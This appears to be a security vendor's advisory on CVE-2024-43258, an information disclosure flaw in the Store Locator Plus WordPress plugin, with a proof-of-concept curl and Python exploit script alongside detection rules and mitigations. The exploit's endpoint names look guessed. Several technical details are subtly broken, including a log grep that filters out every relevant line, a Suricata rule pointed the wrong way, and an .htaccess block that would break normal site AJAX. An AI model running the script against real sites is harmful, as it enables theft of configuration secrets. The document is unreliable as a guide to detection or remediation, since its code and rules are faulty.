CVE-2024-43258

Executive Summary

CVE-2024-43258 is a medium-severity information disclosure vulnerability affecting the Store Locator Plus WordPress plugin, versions up to and including 2311.17.01. The vulnerability allows an unauthenticated attacker to access sensitive information that should be restricted, potentially exposing internal data such as database credentials, API keys, or other configuration details. As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve the underlying web server software.

The vulnerability has a CVSS score of 5.3 (Medium) and a very low EPSS score of 0.0%, indicating that exploitation is not currently widespread. However, the lack of a confirmed patch from the vendor makes this a persistent risk for all sites running the affected versions.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. The supply chain risk is elevated because:

• The plugin is widely used for store locator functionality
• No official patch has been released
• The vulnerability allows information disclosure without authentication
• Sites running outdated versions are at risk until a patch is applied

CVSS Breakdown & Threat Level

CVSS Score: 5.3 (Medium)

Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Threat Level: Medium – The vulnerability is easy to exploit but has limited impact (only confidentiality affected).

Deep Dive & Mechanics

The vulnerability resides in the Store Locator Plus plugin's improper handling of sensitive data exposure. The plugin fails to properly restrict access to internal configuration files or API endpoints that contain sensitive information. Specifically, the plugin exposes data such as:

• Database connection strings
• API keys for mapping services (Google Maps, etc.)
• Internal directory paths
• Plugin configuration details

The exposure occurs because the plugin does not implement proper access controls on certain AJAX endpoints or admin-ajax.php handlers. An unauthenticated attacker can send crafted requests to these endpoints and receive sensitive data in the response.

Root Cause Analysis: The vulnerability is a classic case of missing authorization checks. The plugin registers AJAX actions without verifying user capabilities, allowing any visitor to trigger data retrieval functions that should be restricted to administrators.

Vulnerable vs. Patched Code

Since no official patch is available, the following represents the vulnerable pattern and a recommended fix.

Vulnerable Code Pattern (PHP):

// Vulnerable: No capability check
add_action('wp_ajax_nopriv_slp_get_config', 'slp_get_config_data');

function slp_get_config_data() {
    // Returns sensitive configuration data
    $config = get_option('slp_config');
    wp_send_json($config);
}

Recommended Patched Code:

// Patched: Added capability check
add_action('wp_ajax_slp_get_config', 'slp_get_config_data');

function slp_get_config_data() {
    // Verify user has proper permissions
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    
    // Returns sensitive configuration data
    $config = get_option('slp_config');
    wp_send_json($config);
}

The key difference is the removal of wp_ajax_nopriv_ (which allows unauthenticated access) and the addition of a capability check using current_user_can().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site running Store Locator Plus <= 2311.17.01
• Network access to the target

Exploitation Steps:

1. Identify vulnerable endpoints:

   # Scan for common AJAX endpoints
   curl -s "https://target.com/wp-admin/admin-ajax.php?action=slp_get_config"
   curl -s "https://target.com/wp-admin/admin-ajax.php?action=slp_get_settings"
   

2. Extract sensitive data:

   # Example request to dump configuration
   curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
     -d "action=slp_get_config" \
     -H "Content-Type: application/x-www-form-urlencoded"
   

3. Automated exploitation script:

   import requests
   import sys
   
   def exploit(target_url):
       endpoints = [
           'slp_get_config',
           'slp_get_settings',
           'slp_get_api_keys',
           'slp_get_db_config'
       ]
       
       for endpoint in endpoints:
           response = requests.post(
               f"{target_url}/wp-admin/admin-ajax.php",
               data={'action': endpoint}
           )
           
           if response.status_code == 200 and response.text:
               print(f"[+] Found data at {endpoint}:")
               print(response.text[:500])
   
   if __name__ == "__main__":
       exploit(sys.argv[1])
   

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual AJAX requests:

   # Check access logs for admin-ajax.php requests without authentication
   grep "admin-ajax.php" /var/log/nginx/access.log | \
     grep -v "wp-admin" | \
     awk '{print $1, $7, $9}'
   

2. Identify exposed endpoints:

   # List all registered AJAX actions
   wp plugin list --format=csv
   wp eval 'print_r($GLOBALS["wp_ajax_actions"]);'
   

3. Harden the plugin:

   // Add to theme functions.php to block unauthenticated AJAX
   add_action('init', function() {
       if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
           $blocked_actions = array(
               'slp_get_config',
               'slp_get_settings',
               'slp_get_api_keys'
           );
           
           if (in_array($_REQUEST['action'], $blocked_actions)) {
               wp_die('Access denied', 403);
           }
       }
   });
   

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action parameters like slp_get_config, slp_get_settings, slp_get_api_keys
• Unauthenticated requests returning JSON containing configuration data
• Requests from IP addresses not associated with legitimate admin users

File System IOCs:

• Modified plugin files in /wp-content/plugins/store-locator-le/
• Suspicious log entries in /wp-content/debug.log
• Unexpected configuration dumps in web root

Log IOCs:

{
  "timestamp": "2024-01-01T12:00:00Z",
  "source_ip": "192.168.1.100",
  "request_uri": "/wp-admin/admin-ajax.php",
  "post_data": "action=slp_get_config",
  "response_size": 4523,
  "user_agent": "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
}

Detection Engineering

YARA Rule

rule Detect_StoreLocatorPlus_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts against CVE-2024-43258"
        author = "Valters IT"
        date = "2024-01-01"
        severity = "medium"
        cve = "CVE-2024-43258"
    
    strings:
        $ajax_action = "slp_get_config" nocase
        $ajax_action2 = "slp_get_settings" nocase
        $ajax_action3 = "slp_get_api_keys" nocase
        $ajax_action4 = "slp_get_db_config" nocase
        $response_json = "{\"slp_" ascii
    
    condition:
        any of ($ajax_action*) and $response_json
}

Sigma Rule

title: CVE-2024-43258 - Store Locator Plus Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts against CVE-2024-43258
author: Valters IT
date: 2024/01/01
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2024.43258
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 
            - 'action=slp_get_config'
            - 'action=slp_get_settings'
            - 'action=slp_get_api_keys'
            - 'action=slp_get_db_config'
    condition: selection
falsepositives:
    - Legitimate admin activity (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-43258 - Store Locator Plus Information Disclosure Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=";
    http_client_body;
    pcre:"/(slp_get_config|slp_get_settings|slp_get_api_keys|slp_get_db_config)/Ri";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations
2. Apply virtual patching using WAF rules to block the vulnerable endpoints
3. Restrict access to admin-ajax.php using .htaccess:

   <Files "admin-ajax.php">
       Require all denied
       Require ip 127.0.0.1
   </Files>
   

Long-term Fixes:

1. Monitor vendor channels for an official patch
2. Implement custom fix as shown in the patched code section
3. Upgrade to latest version when patch becomes available
4. Audit all AJAX endpoints in the plugin for proper authorization

Workaround:

// Add to theme functions.php
add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
        $blocked = array('slp_get_config', 'slp_get_settings', 'slp_get_api_keys');
        if (isset($_REQUEST['action']) && in_array($_REQUEST['action'], $blocked)) {
            status_header(403);
            wp_die('Forbidden');
        }
    }
});

Valters IT - Securing WordPress ecosystems through proactive vulnerability management.